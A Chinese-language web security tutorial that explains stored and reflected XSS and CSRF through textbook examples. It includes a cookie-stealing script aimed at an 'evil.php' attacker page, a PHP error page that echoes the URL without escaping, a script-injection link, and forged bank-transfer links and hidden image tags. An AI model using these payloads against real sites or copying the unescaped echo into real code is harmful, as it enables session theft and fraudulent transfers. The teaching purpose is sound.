安全测试的相关内容
(一)web安全之xss攻击
xss攻击的全称是Cross-Site Scripting(XSS)攻击,是一种注入式攻击。基本的做法是把恶意代码注入到目标网站。由于浏览器在打开目标网站的时候并不知道哪些脚本是恶意的,所以浏览器会无差别执行恶意脚本,从而导致用户信息和一些敏感信息被盗取和泄露。
xss一般分为两种类型,持久化的xss和非持久化的xss。
持久化xss
下面这个例子演示了攻击者如何通过注入恶意代码去盗取用户的cookie的。
假设攻击者在某个论坛发个帖子,在帖子里包含了如下的恶意代码。
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
那么其他用户在浏览这个帖子的时候,上面的代码就会被浏览器执行,从而将用户的cookie信息发送到/evil.php?
,这个攻击者搭建的恶意站点。由于cookie里包含了用户的一些登录态和敏感信息,所以访问这个帖子的用户会面临被盗号的风险。
还原一下这次攻击的过程:
- 攻击者在论坛发了包含恶意代码的帖子
- 一般来说这个帖子的内容会保存在数据库里(持久化)
- 攻击者诱导其他用户去访问这个帖子
- 其他用户访问该帖子时网站后台会从数据库里读取帖子的内容并发送至浏览器
- 浏览器渲染帖子的内容时执行了恶意脚本
- 恶意脚本将用户的cookie偷偷发送给恶意网站
evil.php
非持久化的xss
上面的例子攻击代码持久化在了数据库里,非持久化的攻击则不需要这样,看下面的例子。
假设我们有这样的一个错误页面,用php实现的
<html>
<body>
<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>
当用户访问的页面不存在时,上面的页面会自动加载,并且 print "Not found:".urldecode($_SERVER["REQUEST_URI"])
这一行会打印出不存在页面的具体url。
举个例子,当用户访问www.example/page_missing页面时,由于page_missing页面不存在,所以example.com会自动跳转到page_misssing路径,并在页面上打印出 Not found: page_missing
字符串。
如果攻击者构造了这样一个链接,诱导用户访问http://www.example.com/<script>alert("TEST")</script>
,那么普通用户访问该链接时,因为 <script>alert("TEST")</script>
会被打印在页面上并当作普通脚本执行,这样一来,如果攻击者构造的脚本里包含获取用户敏感信息的代码,那么用户的信息将被泄露。
还原一下这个攻击的过程:
- 攻击者构造
http://wwww.example.com/<script>alert("TEST")</script>
链接,引诱普通用户访问 - 普通用户访问后,跳转到错误页面
- 错误页面会执行恶意脚本,造成用户信息泄露
总结
xss攻击是目前最常见的web攻击形式,其核心的攻击方式是恶意代码注入,浏览器将注入的代码当成普通脚本正常执行。
(二)web安全之csrf攻击
csrf攻击的全称是Cross-Site Request Forgery攻击,简单来说就是利用当前用户的登录态冒充该用户去做一些对受害者不利的事情。
简单的例子
假设Alice想通过bank.com网站给bob转100块钱,当然了,bank.com是有安全漏洞的,不能防止csrf攻击。Maria,一个攻击者,想通过一些不正当手段让Alice转账给她,下面是她的一些做法:
- 1.构造攻击的链接或脚本
- 2.通过社交网站诱骗Alice去点击伪造链接或执行脚本
如果bank.com银行应用是通过GET加传参的方式进行转账,如下所示:
GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1
那么Maria现在决定让Alice成为受害者,她开始伪造url,让Alice从账户转1000块钱到自己账户。她通过替换链接中参数的方式来达到到这一目的。
http://bank.com/transfer.do?acct=MART&amount=100000
现在就到了诱导受害者去点击或执行上面这个链接的时候了,一般来说有下面一些方法:
- 自动发送包含html内容的垃圾邮件
- 在Alice浏览银行站点时经常会访问的页面上构造恶意的链接或放置恶意脚本
比如伪装为一个普通链接,鼓励被害者去点击
<a href="http://bank.com/transfer.do?acct=MART&amount=100000">看我的照片!</a>
又或者构造一个0X0大小的图片
<img scr="http://bank.com/transfer.do?acct=MART&amount=100000" width="0" height="0" border="0">
把上面这个图片放到email中,Alice收到email之后,该链接会被自动访问。
如果Alice在点击上面的链接或打开email时正好登录了bank.com,那么上面的请求也会获得bank.com的登录态,从而发送转账行为。